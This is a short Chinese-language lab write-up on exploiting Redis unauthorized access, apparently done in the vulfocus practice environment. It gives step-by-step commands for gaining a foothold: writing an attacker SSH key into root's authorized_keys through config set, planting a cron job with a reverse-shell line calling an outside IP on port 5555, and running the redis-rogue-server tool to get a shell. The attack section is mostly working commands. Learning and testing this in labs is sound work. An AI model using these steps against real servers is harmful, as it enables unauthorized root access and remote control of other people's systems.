redis漏洞复现
1、使用vulfocus漏洞平台进行复现
搭建的过程和坑(不能同步)
https://blog.csdn.net/m0_64563956/article/details/131229046
2、靶场复现
(1)未授权访问
原因:没有设置认证,简单来说就是没有设置密码,导致空密码可以登录
//这个设置默认是注释的,就是设置密码
# requirepass foobared
如果需要取消这个并设置代码就直接在后面写上自己的密码即可
设置了bind 0.0.0.0,这个设置就会接受所有的网络请求,导致攻击者也可以直接访问redis的服务器
bind 0.0.0.0 ::0
(2)利用方式
目前有三种的利用方式
1.写入webshell
利用条件:
1)要存在web服务
2)知道网站的路径
3)网站目录有写入的权限
2.写入公钥
利用条件:
1)redis服务需要root权限启动,并且安全模式(protected-mode)必须关闭
//查看安全模式的状态以及是否是root权限启动,直接使用命令查看
info server
//查看process_id
一般root启动的这个值就是0或者1
//查看redis_mode
这个的值如果是standalone就代表安全模式没有开,如果是sentinel就代表开启了安全模式
//写入的具体步骤就是生成然后写入,最后连接即可
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP //直接连接
3.定时任务写入
利用条件,和写入公钥的条件一样,都是安全模式关闭,还有就是是以root权限进行启动的。需要连接之后利用客户端推荐使用(Another redis desktop manager)进行执行命令,写入定时任务进行反弹shell
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
3.利用自动化项目进行利用
https://githu b.com/n0b0dyCN/redis-rogue-server
下载编译好。使用命令直接对漏洞地址进行redis的利用
命令
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
只要是存在这个漏洞,都可以直接利用此项目进行快速获取shell
总结:
1、重要的是要明确各个利用条件。
写入公钥和定时任务的写入需要的条件就是安全模式的关闭以及root用户启动,写入webshell的条件就是要有这个web目录,网站目录要有这个写入权限。
2、利用自动化项目进行利用,快速打点。